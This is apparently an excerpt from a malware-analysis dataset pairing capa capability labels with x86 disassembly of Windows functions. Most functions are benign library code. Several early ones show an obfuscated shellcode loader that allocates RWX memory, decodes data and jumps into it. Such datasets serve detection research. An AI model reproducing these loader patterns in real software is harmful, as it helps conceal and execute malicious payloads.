joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40960e
Capabilities:
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov edx, dword [0x435b74]
mov ecx, dword [ebp - 0x10]
sub ecx, eax
mov eax, dword [0x435dd0]
mov ecx, dword [0x435b78]
and ecx, eax
mov dword [0x435cc4], edi
push 0x2ca
push 0
call sub.user32.dll_LoadIconA
mov eax, dword [0x435b78]
mov edx, dword [ebp - 0xc]
sub esi, edi
mov eax, dword [ebp - 0x10]
mov eax, dword [0x435a24]
mov ecx, 0x68
mov dword [0x435bf0], edi
push 0x1e9b
push 0
call sub.user32.dll_LoadIconA
mov eax, dword [0x435d9c]
mov eax, dword [ebp - 0xc]
sub edx, eax
xor edi, dword [ebp - 0x10]
mov esi, dword [0x435a24]
mov eax, dword [ebp - 0x10]
sub edx, esi
mov dword [0x435aa4], eax
push 0x9a
push 0
invalid
invalid

Function at 0x40968d
Capabilities:
Execute shellcode via indirect call

Disassembly:
mov al, byte [0x80a10002]
pop esp
inc ebx
add byte [ebx - 0x7a400b83], cl
add byte [eax], al
add byte [esi - 0x46], ah
push edi
add byte [ebx + 0x78a1f845], cl
pop ebp
inc ebx
add al, ch
je 0x4096a9
invalid

Function at 0x4098b9
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov ebx, 0x8b00029e
cmp eax, 0x435b08
mov eax, dword [ebp - 0x10]
add ecx, ecx
mov ecx, dword [ebp - 0xc]
push 0xab7
push 0
call sub.user32.dll_LoadIconA
mov eax, dword [0x435d08]
mov esi, dword [ebp - 0x10]
mov eax, 0x20
mov eax, dword [ebp - 8]
mov eax, dword [0x435a24]
mov eax, dword [ebp - 8]
mov edi, dword [0x435a24]
add edi, edx
mov dword [0x435b14], eax
push 0xb5
push 0
call sub.user32.dll_LoadIconA
mov ecx, dword [0x435a48]
mov esi, dword [ebp - 8]
add edi, ecx
mov ecx, dword [0x435d70]
mov eax, dword [ebp - 8]
push 0x9be
push 0
call sub.user32.dll_LoadIconA
mov ecx, dword [0x435aa8]
mov ecx, dword [ebp - 8]
sub edi, ecx
mov eax, dword [0x435be8]
push 0x40
push 0x1000
push 0x28000
push 0
call sub.KERNEL32.DLL_VirtualAlloc
mov dword [0x435ad4], eax
mov esi, dword [0x435b8c]
mov eax, dword [ebp - 0xc]
add eax, edi
mov eax, dword [ebp - 8]
invalid
Function at 0x409a1a
Capabilities:
Encode data using xor

Disassembly:
mov dword [ecx + 4], eax
mov eax, dword [0x435bcc]
mov eax, 0x2c9
mov edi, dword [ebp - 0x10]
mov edi, dword [0x435af0]
sub edi, ecx
mov cx, 0x23
mov dword [ebp - 0xc], edi
mov dword [0x435c64], edi
mov dword [0x435d50], ecx
mov ecx, dword [0x435de0]
mov esi, dword [0x435dc4]
mov ecx, 0x435b4d
mov edi, dword [ebp - 0xc]
mov edi, dword [ecx]
sub edi, ecx
mov di, 0x79
mov dword [ebp - 8], edi
mov dword [ecx + 0x14], edi
mov dword [ebp - 0xc], edi
mov dword [ecx], edi
mov dword [0x435d20], edi
add esi, 0x4082e3
mov edi, 0x435b5d
mov ecx, dword [ebp - 0x10]
mov ecx, dword [edi + 0xc]
add ecx, edi
mov ecx, dword [edi]
sub ecx, edi
cmp ecx, 0
jl 0x409aa3
mov ecx, dword [ebp - 0x10]
mov ecx, dword [edi]
mov ecx, 0x40
mov dword [ebp - 0x10], ecx
mov dword [edi], ecx
mov ecx, dword [0x435cd8]
mov edi, dword [0x435d70]
mov edi, dword [esi]
sub edi, 0x43da7cc6
mov dword [edx], edi
mov ecx, 0x435b59
add edi, dword [ebp - 0x10]
mov edi, dword [ecx + 0x10]
mov edi, 0x10
mov dword [ebp - 0xc], edi
mov dword [ecx + 8], edi
mov edi, dword [ebp - 0xc]
sub esi, 0xfffffffc
sub edx, 0xfffffffc
mov edi, 0x435b61
mov ecx, dword [ebp - 8]
mov ecx, dword [edi]
xor ecx, edi
mov dword [ebp - 8], ecx
mov dword [edi + 0x18], ecx
mov dword [ebp - 0xc], ecx
mov ecx, dword [ebp - 0xc]
dec eax
cmp eax, 0
jne 0x409aa9
mov eax, dword [0x435b14]
mov eax, dword [ebp - 0x10]
sub eax, esi
mov eax, dword [ebp - 8]
or esi, dword [0x435a50]
push 0xae
push 0
call sub.user32.dll_LoadIconA
mov eax, dword [0x435c58]
mov ecx, dword [ebp - 8]
add eax, eax
mov eax, dword [0x435c44]
mov eax, dword [ebp - 8]
add eax, eax
push 0x16d9
mov dword [ebp - 0xc], eax
push 0
call sub.user32.dll_LoadIconA
mov eax, dword [0x435a38]
mov eax, dword [ebp - 8]
mov eax, 8
add eax, eax
mov edx, dword [0x435ddc]
sub eax, edi
push 0x95
push 0
call sub.user32.dll_LoadIconA
add edx, dword [0x435a24]
mov esi, dword [ebp - 0x10]
mov ax, 0xc6
mov eax, dword [0x435ae4]
mov esi, dword [ebp - 0x10]
mov eax, dword [0x435e0c]
mov esi, dword [0x435ad4]
call esi
leave
ret
Function at 0x258071b7
Capabilities:
Print debug messages

Disassembly:
push 0x1c
mov eax, 0x2581bbcc
call fcn.2581aa61
mov eax, dword fs:[0x2c]
xor ebx, ebx
mov ecx, dword [0x2582448c]
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x25823cb8]
cmp eax, dword [ecx + 4]
jg 0x25807284
cmp byte [0x25823cb4], 0
je 0x2580727e
lea eax, [ebp + 0xc]
push eax
push ebx
push dword [ebp + 8]
call fcn.25814460
push 1
lea esi, [eax + 6]
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_calloc]
mov edi, eax
add esp, 0x14
test edi, edi
je 0x2580727e
lea eax, [ebp + 0xc]
push eax
push ebx
push dword [ebp + 8]
push esi
push edi
call fcn.25814460
add esp, 0x14
mov dword [ebp - 0x18], ebx
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], bl
push str._nEFS:TMS:
call fcn.2580cc41
push edi
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], 1
call fcn.2580cbab
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.kernel32.dll_OutputDebugStringA]
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov eax, dword [ebp - 0x14]
pop ecx
cmp eax, 0x10
jb 0x2580727e
inc eax
push eax
push dword [ebp - 0x28]
call fcn.25814460
pop ecx
pop ecx
call fcn.2581aa50
ret
mov edi, 0x25823cb8
push edi
call fcn.25814460
cmp dword [0x25823cb8], 0xffffffff
pop ecx
jne 0x258071e5
mov eax, dword [0x25823de8]
mov dword [ebp - 4], ebx
mov esi, dword [eax + 0x10]
mov ecx, esi
call dword [0x2581d220]
call esi
test al, al
je 0x258072e2
mov eax, dword [0x258240c4]
push ebx
push str.enableTMSLogging
push 0x2581db70
mov esi, dword [eax + 0x5a8]
mov ecx, esi
call dword [0x2581d220]
call esi
add esp, 0xc
test ax, ax
mov al, 1
jne 0x258072e6
jmp 0x258072e2
mov al, bl
jmp 0x258072e6
or dword [ebp - 4], 0xffffffff
push edi
mov byte [0x25823cb4], al
call fcn.25814460
pop ecx
jmp 0x258071e5
Function at 0x25814460
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x2581446f
pop dword [ebp - 0x4c]
mov eax, 0x46a05471
sub eax, 0x211f1002
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0xa4abf25b
add dword [ebp - 0x5c], 0xa9a652f0
mov dword [ebp - 0x58], 0x452fff46
add dword [ebp - 0x58], 0xed034cff
mov dword [ebp - 0x54], 0xf6393690
add dword [ebp - 0x54], 0x56130d9e
mov dword [ebp - 0x50], 0xe8a1e64e
sub dword [ebp - 0x50], 0xe8a1e64e
lea eax, [ebp - 0x5c]
push eax
mov eax, 0x54a82380
sub eax, 0x2f26533c
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0x8330e0c1
add dword [ebp - 0x5c], 0xf1418895
mov dword [ebp - 0x58], 0xfab6c66f
add dword [ebp - 0x58], 0x46b59b06
mov dword [ebp - 0x54], 0x8722a729
add dword [ebp - 0x54], 0xdc4cc543
mov dword [ebp - 0x50], 0xced54dcb
add dword [ebp - 0x50], 0x312ab235
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, 0x39df1d44
sub eax, 0x145d4cc4
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x39e41
push 0
call eax
mov ecx, 0x26d26368
sub ecx, 0x26d22609
mov esi, eax
mov edi, 0xc10df052
add edi, 0x6474a5ae
add edi, dword [ebp - 0x4c]
mov ebx, 0x9921d0a5
sub ebx, 0xaab8230a
sub dword [ebp - 0x28], 0xeb8b301d
mov edx, dword [edi]
add dword [ebp - 0x2c], ebx
sub edx, ebx
mov dword [ebp - 0x30], 0xc042836a
mov dword [esi], edx
xor dword [ebp - 4], edi
add esi, 0xf9597bd
sub esi, 0xf9597b9
add edi, 4
loop 0x25814591
add eax, 0x1fd3db72
add eax, 0xe02d0cdd
xor ebx, ebx
add ebx, eax
add eax, 0xd4ff232b
sub eax, 0xd4ff2326
mov ecx, 0xcd3df40d
add ecx, 0x58420bf3
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x10006740
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005165b
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x1006f540]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
push 0
mov dword [edi], vtable.CEdsdk.0
lea ecx, [edi + 8]
push 0
mov dword [edi + 8], 0
mov dword [edi + 0xc], 0
call fcn.1000c140
mov dword [edi + 8], eax
push 0
push 0
lea ecx, [edi + 0x24]
mov dword [ebp - 4], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
call fcn.1000c140
mov dword [edi + 0x24], eax
mov eax, edi
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x18], 0
mov dword [edi + 4], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x30], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1000f800
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
mov esi, dword [ebp + 8]
mov dword [esi], 0
mov dword [esi + 4], 0
mov eax, dword [ecx + 0x13c]
cmp eax, 0xffffffff
je 0x1000f83c
lea ecx, [ebp - 8]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1000f83c
mov eax, dword [ebp - 8]
mov dword [esi], eax
mov eax, dword [ebp - 4]
mov dword [esi + 4], eax
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x1001aae0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005204b
mov eax, dword fs:[0]
push eax
sub esp, 0x214
mov eax, dword [0x1006f540]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x220], edi
mov eax, dword [ebp + 0xc]
xor ebx, ebx
xor esi, esi
mov dword [ebp - 0x21c], eax
cmp dword [edi + 0x378], ebx
jne 0x1001ab33
lea eax, [ebx + 3]
jmp 0x1001ac41
push 0x20c
push 0
push eax
call fcn.1003e280
mov ecx, dword [edi + 0x378]
add esp, 0xc
mov edx, dword [ebp + 8]
mov eax, dword [ecx]
mov eax, dword [eax]
cmp eax, dword [ecx]
je 0x1001ab63
cmp dword [eax + 8], edx
je 0x1001ac2f
mov eax, dword [eax]
cmp eax, dword [ecx]
jne 0x1001ab54
test esi, esi
jne 0x1001ac3f
cmp edx, 0xe
jne 0x1001ac3f
mov ecx, dword [edi + 0x20]
push dword [edi + 0x330]
mov eax, dword [ecx]
call dword [eax + 0xc]
mov esi, eax
test esi, esi
je 0x1001ac66
mov eax, dword [edi]
mov ecx, edi
call dword [eax + 0x88]
test eax, eax
je 0x1001ac66
mov eax, dword [esi]
mov ecx, esi
push 0xd1a2
push dword [edi + 0x374]
call dword [eax + 0x80]
test eax, eax
jne 0x1001ac41
lea ecx, [ebp - 0x218]
call fcn.1003ba70
lea ecx, [ebp - 0x218]
mov dword [ebp - 4], 0
call fcn.1003c360
mov esi, eax
mov edi, edx
add esi, 0x64
adc edi, 0
lea ecx, [ebp - 0x218]
call fcn.1003c360
cmp edi, edx
ja 0x1001abe2
jb 0x1001abf7
cmp esi, eax
ja 0x1001abe2
mov edi, dword [ebp - 0x220]
mov ecx, edi
push 0xd1a2
call fcn.10023ac0
mov ebx, eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x218]
test ebx, ebx
jne 0x1001ac5f
lea esi, [eax + 1]
call fcn.1003bb00
mov eax, dword [ebp - 0x21c]
jmp 0x1001ab33
mov edi, dword [ebp - 0x21c]
lea esi, [eax + 0xc]
mov ecx, 0x83
rep movsd dword es:[edi], dword [esi]
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1003d597
mov esp, ebp
pop ebp
ret 8
call fcn.1003bb00
jmp 0x1001ac3f
mov eax, 0x2003
jmp 0x1001ac41
Function at 0x100348a0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x1006f540]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x10060224]
movdqu xmm0, xmmword [str.SoftwareCanonEDSDK]
push ebx
push esi
mov dword [ebp - 0xc], eax
mov esi, 1
mov al, byte [0x10060228]
push edi
mov byte [ebp - 8], al
mov edi, ecx
mov ax, word [0x1006023c]
mov word [ebp - 0x20], ax
movdqu xmmword [ebp - 0x1c], xmm0
mov eax, dword [edi + 4]
movdqu xmm0, xmmword [str.EventIntervalTime]
movdqu xmmword [ebp - 0x30], xmm0
mov ebx, dword [eax + 0x20]
lea eax, [ebp - 0x38]
push eax
push 0x20019
push 0
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x34], 0xc8
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1003494b
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x40], 4
push eax
lea eax, [ebp - 0x34]
mov dword [ebp - 0x3c], 4
push eax
lea eax, [ebp - 0x40]
push eax
push 0
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0x38]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x38]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edi
push dword [ebp - 0x34]
mov ecx, ebx
push 0x10034700
call fcn.10038670
xor ecx, ecx
mov dword [edi + 8], eax
test eax, eax
pop edi
cmove esi, ecx
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
pop ebx
call fcn.1003d597
mov esp, ebp
pop ebp
ret

Function at 0x10038620
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push dword [ebp + 8]
mov edi, ecx
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
jne 0x10038651
push dword [ebp + 8]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [edi + 0x20], eax
test eax, eax
jne 0x10038651
pop edi
pop ebp
ret 4
push 0xbb8
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
neg eax
pop edi
sbb eax, eax
inc eax
pop ebp
ret 4
Function at 0x10038b20
Capabilities:
Read file on windows
Read from mailslot

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push dword [ebp + 0x14]
mov esi, ecx
push 0
mov eax, dword [esi + 0x14]
mov dword [ebp - 0xc], eax
mov eax, dword [esi + 0x10]
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push eax
push 2
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
sub eax, 0
je 0x10038ca7
dec eax
je 0x10038b77
sub eax, 0x101
je 0x10038b6b
call dword [sym.imp.KERNEL32.dll_GetLastError]
or eax, 0x400000
pop esi
mov esp, ebp
pop ebp
ret 0x10
mov eax, 0x200062
pop esi
mov esp, ebp
pop ebp
ret 0x10
push 0
push 0
lea eax, [ebp + 0x14]
mov dword [ebp + 0x14], 0
push eax
push 0
push dword [esi + 0xc]
call dword [sym.imp.KERNEL32.dll_GetMailslotInfo]
test eax, eax
je 0x10038b59
mov ecx, dword [ebp + 0x14]
cmp ecx, 0xffffffff
jne 0x10038ba9
mov eax, 0x200002
pop esi
mov esp, ebp
pop ebp
ret 0x10
mov eax, dword [ebp + 8]
test eax, eax
jne 0x10038bde
mov eax, dword [ebp + 0x10]
test eax, eax
jne 0x10038bc3
mov eax, 0x200021
pop esi
mov esp, ebp
pop ebp
ret 0x10
mov dword [eax], ecx
push dword [esi + 0x10]
call dword [sym.imp.KERNEL32.dll_SetEvent]
test eax, eax
je 0x10038b59
mov eax, 0x200063
pop esi
mov esp, ebp
pop ebp
ret 0x10
push edi
mov edi, dword [ebp + 0xc]
cmp ecx, edi
jbe 0x10038c18
mov eax, dword [ebp + 0x10]
mov dword [eax], ecx
push dword [esi + 0x10]
call dword [sym.imp.KERNEL32.dll_SetEvent]
test eax, eax
jne 0x10038c0b
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
or eax, 0x400000
pop esi
mov esp, ebp
pop ebp
ret 0x10
pop edi
mov eax, 0x200063
pop esi
mov esp, ebp
pop ebp
ret 0x10
push ebx
mov ebx, dword [ebp + 0x10]
push 0
push ebx
push edi
push eax
push dword [esi + 0xc]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10038c88
push dword [ebx]
push dword [esi + 0xc]
push str.caCMlSlotRecv::Recv
push 0x100607b4
call fcn.1003bb00
add esp, 0x10
cmp edi, dword [ebx]
jae 0x10038c57
pop ebx
pop edi
mov eax, 0x200002
pop esi
mov esp, ebp
pop ebp
ret 0x10
push 0
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
push eax
push 0
push 0
push dword [esi + 0xc]
call dword [sym.imp.KERNEL32.dll_GetMailslotInfo]
test eax, eax
je 0x10038c88
cmp dword [ebp - 4], 0
jbe 0x10038c9c
push dword [esi + 0x10]
call dword [sym.imp.KERNEL32.dll_SetEvent]
test eax, eax
jne 0x10038c9c
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop ebx
pop edi
or eax, 0x400000
pop esi
mov esp, ebp
pop ebp
ret 0x10
pop ebx
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x10
mov eax, 0x200005
pop esi
mov esp, ebp
pop ebp
ret 0x10
Function at 0x10038cc0
Capabilities:
Create mailslot

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, ecx
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
call fcn.100388a0
test eax, eax
jne 0x10038e02
push ebx
mov ebx, dword [ebp + 8]
push edi
cmp dword [esi + 0xc], eax
jne 0x10038d26
lea eax, [ebp - 4]
mov ecx, esi
push eax
push ebx
call fcn.100387f0
mov edi, eax
test edi, edi
jne 0x10038db0
push dword [esi + 8]
push eax
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CreateMailslotA]
mov dword [esi + 0xc], eax
cmp eax, 0xffffffff
jne 0x10038d26
mov dword [esi + 0xc], edi
jmp 0x10038da2
push dword [ebp - 4]
push dword [esi + 0xc]
push str.caCMlSlotRecv::Start_Recv
push 0x1006071c
call fcn.1003bb00
add esp, 0x10
cmp dword [esi + 0x10], 0
jne 0x10038d70
lea eax, [ebp - 8]
mov ecx, esi
push eax
push str._EVT
push ebx
call fcn.10038760
mov edi, eax
test edi, edi
jne 0x10038db0
push dword [ebp - 8]
push eax
push eax
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0x10], eax
test eax, eax
je 0x10038da2
cmp dword [esi + 0x14], 0
jne 0x10038de0
lea eax, [ebp - 0xc]
mov ecx, esi
push eax
push str._CAN
push ebx
call fcn.10038760
mov edi, eax
test edi, edi
jne 0x10038db0
push dword [ebp - 0xc]
push eax
push eax
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0x14], eax
test eax, eax
jne 0x10038de0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
or edi, 0x400000
mov ecx, esi
call fcn.10038ac0
push dword [ebp - 4]
mov ecx, esi
call fcn.10038990
push dword [ebp - 8]
mov ecx, esi
call fcn.10038990
push dword [ebp - 0xc]
mov ecx, esi
call fcn.10038990
mov eax, edi
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret 4
push dword [ebp - 4]
mov ecx, esi
call fcn.10038990
push dword [ebp - 8]
mov ecx, esi
call fcn.10038990
push dword [ebp - 0xc]
mov ecx, esi
call fcn.10038990
pop edi
xor eax, eax
pop ebx
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x10039150
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push dword [ebp + 0xc]
mov edi, ecx
push dword [edi + 0xc]
push str.caCMlSlotSend::Send
push 0x10060898
call fcn.1003bb00
add esp, 0x10
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 0xc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x10039196
call dword [sym.imp.KERNEL32.dll_GetLastError]
or eax, 0x400000
pop edi
pop ebp
ret 0xc
push dword [edi + 0x10]
call dword [sym.imp.KERNEL32.dll_SetEvent]
test eax, eax
je 0x10039186
xor eax, eax
pop edi
pop ebp
ret 0xc
Function at 0x100394f0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
cmp dword [esi], 0
je 0x10039518
push 0
call fcn.100394b0
test eax, eax
jne 0x1003950d
xor eax, eax
pop esi
pop ebp
ret 0x18
mov ecx, esi
call fcn.10039570
test eax, eax
je 0x10039506
mov eax, dword [ebp + 0xc]
push edi
lea edi, [esi + 4]
shl eax, 0xa
push edi
push 4
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.1003eda8
add esp, 0x18
mov dword [esi], eax
test eax, eax
jne 0x10039543
pop edi
pop esi
pop ebp
ret 0x18
mov ecx, dword [ebp + 0x18]
test ecx, ecx
je 0x1003954e
mov eax, dword [edi]
mov dword [ecx], eax
mov eax, dword [ebp + 0x1c]
test eax, eax
je 0x1003955e
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
pop edi
mov eax, 1
pop esi
pop ebp
ret 0x18

Function at 0x100395c0
Capabilities:
Resume thread

Disassembly:
mov eax, dword [ecx]
test eax, eax
jne 0x100395ca
or eax, 0xffffffff
ret
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
ret

Function at 0x100395e0
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
mov eax, dword [esi]
test eax, eax
jne 0x100395f6
mov eax, 1
pop esi
pop ebp
ret 4
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov dword [esi], 0
pop esi
pop ebp
ret 4

Function at 0x1003b8f0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov esi, ecx
call fcn.1003b110
lea eax, [ebp - 0xc]
mov dword [esi], vtable.CWinLogManager.0
push eax
push 0x20019
push 0
push str.SoftwareCanonEDSDK
lea ebx, [esi + 4]
mov dword [esi + 8], 0
lea edi, [esi + 8]
mov dword [ebx], 1
push 0x80000002
mov dword [ebp - 0xc], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1003ba0c
lea eax, [ebp - 4]
mov dword [ebp - 8], 4
push eax
push edi
lea eax, [ebp - 8]
mov dword [ebp - 4], 4
push eax
push 0
push str.destination
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x1003b974
mov dword [edi], 0
cmp dword [edi], 0
je 0x1003ba03
lea eax, [ebp - 4]
mov dword [ebp - 8], 4
push eax
push ebx
lea eax, [ebp - 8]
mov dword [ebp - 4], 4
push eax
push 0
push str.level
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x1003b9ae
mov dword [ebx], 1
cmp dword [edi], 1
jne 0x1003ba03
lea eax, [ebp - 4]
mov dword [ebp - 8], 1
push eax
lea edi, [esi + 0xc]
mov dword [ebp - 4], 0x208
push edi
lea eax, [ebp - 8]
push eax
push 0
push str.LogPath
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1003ba03
push eax
push 0x80
push 4
push eax
push eax
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
je 0x1003ba03
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1003bfe0
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x1006f540]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
xorps xmm0, xmm0
push ebx
mov ebx, dword [ebp + 8]
push esi
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x18]
push eax
push ebx
mov dword [ebp - 0x18], 0
movdqu xmmword [ebp - 0x14], xmm0
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov esi, eax
test esi, esi
jne 0x1003c02c
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1003d597
mov esp, ebp
pop ebp
ret 8
push edi
push esi
call fcn.1003ca15
mov edi, eax
add esp, 4
test edi, edi
je 0x1003c062
push edi
push esi
push dword [ebp - 0x18]
push ebx
call sub.VERSION.dll_GetFileVersionInfoA
test eax, eax
je 0x1003c062
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x20]
push eax
push str.StringFileInfo041104b0ProductVersion
push edi
call sub.VERSION.dll_VerQueryValueA
test eax, eax
jne 0x1003c077
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1003d597
mov esp, ebp
pop ebp
ret 8
xor esi, esi
lea esp, [esp]
lea eax, [ebp - 0x1c]
push eax
push 0x100611a4
test esi, esi
jne 0x1003c092
push dword [ebp - 0x20]
jmp 0x1003c094
push 0
call fcn.1003f85f
mov ecx, eax
add esp, 0xc
lea eax, [ebp - 0x14]
lea eax, [eax + esi*4]
push eax
push 0x100611a8
push ecx
call fcn.1003e1eb
inc esi
add esp, 0xc
cmp esi, 4
jl 0x1003c080
mov edx, dword [ebp - 0x24]
test edx, edx
je 0x1003c0e4
mov eax, dword [ebp - 0x14]
movzx ecx, byte [ebp - 0x10]
shl eax, 8
or ecx, eax
movzx eax, byte [ebp - 0xc]
shl ecx, 8
or ecx, eax
mov eax, dword [ebp - 8]
shl ecx, 0xc
and eax, 0xfff
or ecx, eax
mov dword [edx], ecx
push edi
call fcn.1003ecbd
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
mov eax, 1
pop edi
pop esi
pop ebx
call fcn.1003d597
mov esp, ebp
pop ebp
ret 8

Function at 0x1003c370
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
lea eax, [ebp - 4]
mov dword [ebp - 8], 0
push eax
push 0x20019
xor esi, esi
push esi
push str.SoftwareCanonEDSDK
push 0x80000002
mov dword [ebp - 4], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1003c3d9
lea eax, [ebp - 0xc]
mov dword [ebp - 0x10], 4
push eax
lea eax, [ebp - 8]
mov dword [ebp - 0xc], 4
push eax
lea eax, [ebp - 0x10]
push eax
push esi
push str.remoterel
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
test eax, eax
cmove esi, dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret